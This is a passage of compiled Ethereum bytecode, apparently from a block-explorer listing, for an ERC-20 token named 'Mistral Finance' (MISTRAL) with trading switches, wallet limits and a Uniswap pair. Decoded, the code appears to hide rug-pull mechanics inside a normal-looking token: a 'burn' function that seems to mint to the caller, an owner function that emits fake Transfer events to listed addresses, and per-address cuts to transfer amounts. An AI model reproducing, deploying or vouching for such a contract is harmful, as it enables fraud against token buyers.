ffffff1673ffffffffffffffffffffffffffffffffffffffff16610bf56115db565b73ffffffffffffffffffffffffffffffffffffffff1614610c14575f80fd5b5f610cb26064610ca4848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610c579190612e59565b602060405180830381865afa158015610c72573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c9691906131e5565b6127ff90919063ffffffff16565b61287690919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610d10929190613262565b6020604051808303815f875af1158015610d2c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d50919061329d565b50505050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601a5481565b60606040518060400160405280600781526020017f4d49535452414c00000000000000000000000000000000000000000000000000815250905090565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f610e26610e1f6115db565b84846117a5565b6001905092915050565b610e3861154a565b5f5b83839050811015610ecd5781600b5f868685818110610e5c57610e5b6131a4565b5b9050602002016020810190610e719190612e72565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610e3a565b50505050565b601b5481565b610ee161154a565b80601d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fe66115db565b73ffffffffffffffffffffffffffffffffffffffff1614611005575f80fd5b601054811115801561101957506011548111155b611021575f80fd5b806010819055508060118190555050565b61103a61154a565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036110a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109f90613338565b60405180910390fd5b6110b18161273c565b50565b6110bc61154a565b601d60159054906101000a900460ff161561110c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611103906133a0565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506111a83060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6111949190613119565b6305f5e1006111a39190613163565b6115e2565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611212573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061123691906133d2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112e091906133d2565b6040518363ffffffff1660e01b81526004016112fd9291906133fd565b6020604051808303815f875af1158015611319573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061133d91906133d2565b601d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c430610b56565b5f806113ce610d56565b426040518863ffffffff1660e01b81526004016113f096959493929190613424565b60606040518083038185885af115801561140c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906114319190613483565b505050601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016114d19291906134d3565b6020604051808303815f875af11580156114ed573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611511919061329d565b506001601d60196101000a81548160ff0219169083151502179055506001601d60156101000a81548160ff021916908315150217905550565b5f806115546115db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166115d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d090613544565b60405180910390fd5b565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611650576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611647906135d2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b590613660565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117989190612cc4565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611813576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180a906136ee565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611881576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118789061377c565b60405180910390fd5b5f81116118c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ba9061380a565b60405180910390fd5b5f8060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015611948576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193f90613898565b60405180910390fd5b5f60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054036119cf574360095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b601d601a9054906101000a900460ff161561207a576119ec610d56565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015611a5a5750611a2a610d56565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a9257505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611acc575061dead73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ae55750601d60149054906101000a900460ff16155b1561207957601d60179054906101000a900460ff16611bd957600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611b995750600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611bd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcf90613926565b60405180910390fd5b5b601d60169054906101000a900460ff1615611d9f57611bf6610d56565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c7e575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611cd75750601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611d9e574360095f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410611d5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d52906139da565b60405180910390fd5b4360095f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611e3c575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611ee357601754831115611e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7d90613a68565b60405180910390fd5b601854611e9285610b56565b84611e9d9190613a86565b1115611ede576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed590613b03565b60405180910390fd5b612078565b60085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611f80575060075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611fcf57601754831115611fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc190613b91565b60405180910390fd5b612077565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166120765760185461202985610b56565b846120349190613a86565b1115612075576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206c90613b03565b60405180910390fd5b5b5b5b5b5b601d60149054906101000a900460ff161580156120a35750601d601b9054906101000a900460ff165b156120b5576120b285846128bf565b92505b6121058360035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461292a90919063ffffffff16565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506121a861215c838561292a90919063ffffffff16565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461297390919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61224b858761292a90919063ffffffff16565b6040516122589190612cc4565b60405180910390a35050505050565b5f8383111582906122ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a59190612b8f565b60405180910390fd5b505f83856122bc9190613baf565b9050809150509392505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612337576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232e90613c52565b60405180910390fd5b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818111156123bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b290613ce0565b60405180910390fd5b81810160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161245c9190612cc4565b60405180910390a3505050565b6001601d60186101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156124a05761249f613cfe565b5b6040519080825280602002602001820160405280156124ce5781602001602082028036833780820191505090505b50905030815f815181106124e5576124e46131a4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612589573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906125ad91906133d2565b816001815181106125c1576125c06131a4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126273060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115e2565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612689959493929190613de2565b5f604051808303815f87803b1580156126a0575f80fd5b505af11580156126b2573d5f803e3d5ffd5b50505050505f601d60186101000a81548160ff02191690831515021790555050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612738573d5f803e3d5ffd5b5050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f80830361280f575f9050612870565b5f828461281c9190613163565b905082848261282b9190613e67565b1461286b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286290613f07565b60405180910390fd5b809150505b92915050565b5f6128b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129d0565b905092915050565b5f80829050600b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156129205761291d8385612a31565b90505b8091505092915050565b5f61296b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612267565b905092915050565b5f8082846129819190613a86565b9050838110156129c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129bd90613f6f565b60405180910390fd5b8091505092915050565b5f8083118290612a16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a0d9190612b8f565b60405180910390fd5b505f8385612a249190613e67565b9050809150509392505050565b5f80603290505f60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205443612a819190613baf565b90505f8282612a909190613163565b90505f60648211612aad57816064612aa89190613baf565b612aaf565b5f5b90505f60648289612ac09190613163565b612aca9190613e67565b9050612adf5f82612aec90919063ffffffff16565b9550505050505092915050565b5f81831015612afb5781612afd565b825b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612b3c578082015181840152602081019050612b21565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612b6182612b05565b612b6b8185612b0f565b9350612b7b818560208601612b1f565b612b8481612b47565b840191505092915050565b5f6020820190508181035f830152612ba78184612b57565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612be082612bb7565b9050919050565b612bf081612bd6565b8114612bfa575f80fd5b50565b5f81359050612c0b81612be7565b92915050565b5f819050919050565b612c2381612c11565b8114612c2d575f80fd5b50565b5f81359050612c3e81612c1a565b92915050565b5f8060408385031215612c5a57612c59612baf565b5b5f612c6785828601612bfd565b9250506020612c7885828601612c30565b9150509250929050565b5f8115159050919050565b612c9681612c82565b82525050565b5f602082019050612caf5f830184612c8d565b92915050565b612cbe81612c11565b82525050565b5f602082019050612cd75f830184612cb5565b92915050565b5f805f60608486031215612cf457612cf3612baf565b5b5f612d0186828701612bfd565b9350506020612d1286828701612bfd565b9250506040612d2386828701612c30565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112612d4e57612d4d612d2d565b5b8235905067ffffffffffffffff811115612d6b57612d6a612d31565b5b602083019150836020820283011115612d8757612d86612d35565b5b9250929050565b5f805f60408486031215612da557612da4612baf565b5b5f84013567ffffffffffffffff811115612dc257612dc1612bb3565b5b612dce86828701612d39565b93509350506020612de186828701612c30565b9150509250925092565b5f60ff82169050919050565b612e0081612deb565b82525050565b5f602082019050612e195f830184612df7565b92915050565b5f60208284031215612e3457612e33612baf565b5b5f612e4184828501612c30565b91505092915050565b612e5381612bd6565b82525050565b5f602082019050612e6c5f830184612e4a565b92915050565b5f60208284031215612e8757612e86612baf565b5b5f612e9484828501612bfd565b91505092915050565b612ea681612c82565b8114612eb0575f80fd5b50565b5f81359050612ec181612e9d565b92915050565b5f805f60408486031215612ede57612edd612baf565b5b5f84013567ffffffffffffffff811115612efb57612efa612bb3565b5b612f0786828701612d39565b93509350506020612f1a86828701612eb3565b9150509250925092565b5f8060408385031215612f3a57612f39612baf565b5b5f612f4785828601612bfd565b9250506020612f5885828601612bfd565b9150509250929050565b5f819050919050565b5f819050919050565b5f612f8e612f89612f8484612f62565b612f6b565b612c11565b9050919050565b612f9e81612f74565b82525050565b5f602082019050612fb75f830184612f95565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561303f5780860481111561301b5761301a612fbd565b5b600185161561302a5780820291505b808102905061303885612fea565b9450612fff565b94509492505050565b5f826130575760019050613112565b81613064575f9050613112565b816001811461307a5760028114613084576130b3565b6001915050613112565b60ff84111561309657613095612fbd565b5b8360020a9150848211156130ad576130ac612fbd565b5b50613112565b5060208310610133831016604e8410600b84101617156130e85782820a9050838111156130e3576130e2612fbd565b5b613112565b6130f58484846001612ff6565b9250905081840481111561310c5761310b612fbd565b5b81810290505b9392505050565b5f61312382612c11565b915061312e83612deb565b925061315b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613048565b905092915050565b5f61316d82612c11565b915061317883612c11565b925082820261318681612c11565b9150828204841483151761319d5761319c612fbd565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506131df81612c1a565b92915050565b5f602082840312156131fa576131f9612baf565b5b5f613207848285016131d1565b91505092915050565b5f61322a61322561322084612bb7565b612f6b565b612bb7565b9050919050565b5f61323b82613210565b9050919050565b5f61324c82613231565b9050919050565b61325c81613242565b82525050565b5f6040820190506132755f830185613253565b6132826020830184612cb5565b9392505050565b5f8151905061329781612e9d565b92915050565b5f602082840312156132b2576132b1612baf565b5b5f6132bf84828501613289565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f613322602683612b0f565b915061332d826132c8565b604082019050919050565b5f6020820190508181035f83015261334f81613316565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61338a601783612b0f565b915061339582613356565b602082019050919050565b5f6020820190508181035f8301526133b78161337e565b9050919050565b5f815190506133cc81612be7565b92915050565b5f602082840312156133e7576133e6612baf565b5b5f6133f4848285016133be565b91505092915050565b5f6040820190506134105f830185612e4a565b61341d6020830184612e4a565b9392505050565b5f60c0820190506134375f830189612e4a565b6134446020830188612cb5565b6134516040830187612f95565b61345e6060830186612f95565b61346b6080830185612e4a565b61347860a0830184612cb5565b979650505050505050565b5f805f6060848603121561349a57613499612baf565b5b5f6134a7868287016131d1565b93505060206134b8868287016131d1565b92505060406134c9868287016131d1565b9150509250925092565b5f6040820190506134e65f830185612e4a565b6134f36020830184612cb5565b9392505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61352e602083612b0f565b9150613539826134fa565b602082019050919050565b5f6020820190508181035f83015261355b81613522565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6135bc602483612b0f565b91506135c782613562565b604082019050919050565b5f6020820190508181035f8301526135e9816135b0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61364a602283612b0f565b9150613655826135f0565b604082019050919050565b5f6020820190508181035f8301526136778161363e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6136d8602583612b0f565b91506136e38261367e565b604082019050919050565b5f6020820190508181035f830152613705816136cc565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613766602383612b0f565b91506137718261370c565b604082019050919050565b5f6020820190508181035f8301526137938161375a565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6137f4602983612b0f565b91506137ff8261379a565b604082019050919050565b5f6020820190508181035f830152613821816137e8565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f613882602683612b0f565b915061388d82613828565b604082019050919050565b5f6020820190508181035f8301526138af81613876565b9050919050565b7f5f7472616e736665723a3a2054726164696e67206973206e6f742061637469765f8201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b5f613910602283612b0f565b915061391b826138b6565b604082019050919050565b5f6020820190508181035f83015261393d81613904565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f6139c4604983612b0f565b91506139cf82613944565b606082019050919050565b5f6020820190508181035f8301526139f1816139b8565b9050919050565b7f427579207472616e7366657220616d6f756e74206578636565647320746865205f8201527f6d617854782e0000000000000000000000000000000000000000000000000000602082015250565b5f613a52602683612b0f565b9150613a5d826139f8565b604082019050919050565b5f6020820190508181035f830152613a7f81613a46565b9050919050565b5f613a9082612c11565b9150613a9b83612c11565b9250828201905080821115613ab357613ab2612fbd565b5b92915050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f613aed601383612b0f565b9150613af882613ab9565b602082019050919050565b5f6020820190508181035f830152613b1a81613ae1565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d617854782e00000000000000000000000000000000000000000000000000602082015250565b5f613b7b602783612b0f565b9150613b8682613b21565b604082019050919050565b5f6020820190508181035f830152613ba881613b6f565b9050919050565b5f613bb982612c11565b9150613bc483612c11565b9250828203905081811115613bdc57613bdb612fbd565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f613c3c602183612b0f565b9150613c4782613be2565b604082019050919050565b5f6020820190508181035f830152613c6981613c30565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e5f8201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b5f613cca602283612b0f565b9150613cd582613c70565b604082019050919050565b5f6020820190508181035f830152613cf781613cbe565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613d5d81612bd6565b82525050565b5f613d6e8383613d54565b60208301905092915050565b5f602082019050919050565b5f613d9082613d2b565b613d9a8185613d35565b9350613da583613d45565b805f5b83811015613dd5578151613dbc8882613d63565b9750613dc783613d7a565b925050600181019050613da8565b5085935050505092915050565b5f60a082019050613df55f830188612cb5565b613e026020830187612f95565b8181036040830152613e148186613d86565b9050613e236060830185612e4a565b613e306080830184612cb5565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613e7182612c11565b9150613e7c83612c11565b925082613e8c57613e8b613e3a565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613ef1602183612b0f565b9150613efc82613e97565b604082019050919050565b5f6020820190508181035f830152613f1e81613ee5565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613f59601b83612b0f565b9150613f6482613f25565b602082019050919050565b5f6020820190508181035f830152613f8681613f4d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209e6ab64295b7070c6f54e11cd3b169f13e00a301687173b8d27d12b913242b4564736f6c6343000817003300000000000000000000000053572b90d8f257bb57d50e3459d99c3b9f5b207e

Deployed Bytecode

0x6080604052600436106101db575f3560e01c806370a0823111610101578063a9059cbb11610094578063dd62ed3e11610063578063dd62ed3e14610640578063ec1f3f631461067c578063f2fde38b146106a4578063fb201b1d146106cc576101e2565b8063a9059cbb1461058a578063a9ddeaa2146105c6578063bf474bed146105ee578063c2b7bbb614610618576101e2565b80638da5cb5b116100d05780638da5cb5b146104d05780638f9a55c0146104fa57806395d89b41146105245780639bdafb011461054e576101e2565b806370a082311461042c578063715018a6146104685780637d1db4a51461047e5780638cd4426d146104a8576101e2565b8063293230b81161017957806349bd5a5e1161014857806349bd5a5e146103ac5780634ada218b146103d657806351bc3c85146104005780636225658914610416576101e2565b8063293230b81461031a5780632e82f1a014610330578063313ce5671461035a57806342966c6814610384576101e2565b80630faee56f116101b55780630faee56f1461026257806318160ddd1461028c57806323b872dd146102b657806326ededb8146102f2576101e2565b806302fa1f4a146101e657806306fdde03146101fc578063095ea7b314610226576101e2565b366101e257005b5f80fd5b3480156101f1575f80fd5b506101fa6106e2565b005b348015610207575f80fd5b5061021061072a565b60405161021d9190612b8f565b60405180910390f35b348015610231575f80fd5b5061024c60048036038101906102479190612c44565b610767565b6040516102599190612c9c565b60405180910390f35b34801561026d575f80fd5b50610276610784565b6040516102839190612cc4565b60405180910390f35b348015610297575f80fd5b506102a061078a565b6040516102ad9190612cc4565b60405180910390f35b3480156102c1575f80fd5b506102dc60048036038101906102d79190612cdd565b6107ad565b6040516102e99190612c9c565b60405180910390f35b3480156102fd575f80fd5b5061031860048036038101906103139190612d8e565b610881565b005b348015610325575f80fd5b5061032e610956565b005b34801561033b575f80fd5b50610344610995565b6040516103519190612c9c565b60405180910390f35b348015610365575f80fd5b5061036e6109a8565b60405161037b9190612e06565b60405180910390f35b34801561038f575f80fd5b506103aa60048036038101906103a59190612e1f565b6109b0565b005b3480156103b7575f80fd5b506103c06109cc565b6040516103cd9190612e59565b60405180910390f35b3480156103e1575f80fd5b506103ea6109f1565b6040516103f79190612c9c565b60405180910390f35b34801561040b575f80fd5b50610414610a04565b005b348015610421575f80fd5b5061042a610ab3565b005b348015610437575f80fd5b50610452600480360381019061044d9190612e72565b610b56565b60405161045f9190612cc4565b60405180910390f35b348015610473575f80fd5b5061047c610b9c565b005b348015610489575f80fd5b50610492610baf565b60405161049f9190612cc4565b60405180910390f35b3480156104b3575f80fd5b506104ce60048036038101906104c99190612c44565b610bb5565b005b3480156104db575f80fd5b506104e4610d56565b6040516104f19190612e59565b60405180910390f35b348015610505575f80fd5b5061050e610d7e565b60405161051b9190612cc4565b60405180910390f35b34801561052f575f80fd5b50610538610d84565b6040516105459190612b8f565b60405180910390f35b348015610559575f80fd5b50610574600480360381019061056f9190612e72565b610dc1565b6040516105819190612c9c565b60405180910390f35b348015610595575f80fd5b506105b060048036038101906105ab9190612c44565b610e13565b6040516105bd9190612c9c565b60405180910390f35b3480156105d1575f80fd5b506105ec60048036038101906105e79190612ec7565b610e30565b005b3480156105f9575f80fd5b50610602610ed3565b60405161060f9190612cc4565b60405180910390f35b348015610623575f80fd5b5061063e60048036038101906106399190612e72565b610ed9565b005b34801561064b575f80fd5b5061066660048036038101906106619190612f24565b610f24565b6040516106739190612cc4565b60405180910390f35b348015610687575f80fd5b506106a2600480360381019061069d9190612e1f565b610fa6565b005b3480156106af575f80fd5b506106ca60048036038101906106c59190612e72565b611032565b005b3480156106d7575f80fd5b506106e06110b4565b005b6106ea61154a565b5f6015819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f6040516107209190612fa4565b60405180910390a1565b60606040518060400160405280600f81526020017f4d69737472616c2046696e616e63650000000000000000000000000000000000815250905090565b5f61077a6107736115db565b84846115e2565b6001905092915050565b601c5481565b5f6009600a6107999190613119565b6305f5e1006107a89190613163565b905090565b5f6107b98484846117a5565b610876846107c56115db565b61087185604051806060016040528060288152602001613f8e6028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6108286115db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122679092919063ffffffff16565b6115e2565b600190509392505050565b61088961154a565b5f5b83839050811015610950578383828181106108a9576108a86131a4565b5b90506020020160208101906108be9190612e72565b73ffffffffffffffffffffffffffffffffffffffff16601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161093b9190612cc4565b60405180910390a3808060010191505061088b565b50505050565b61095e61154a565b6001601d60176101000a81548160ff0219169083151502179055505f601d601a6101000a81548160ff021916908315150217905550565b601d601b9054906101000a900460ff1681565b5f6009905090565b6109b861154a565b6109c96109c36115db565b826122c9565b50565b601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d60179054906101000a900460ff1681565b600c5f9054906101000a900473fffffffff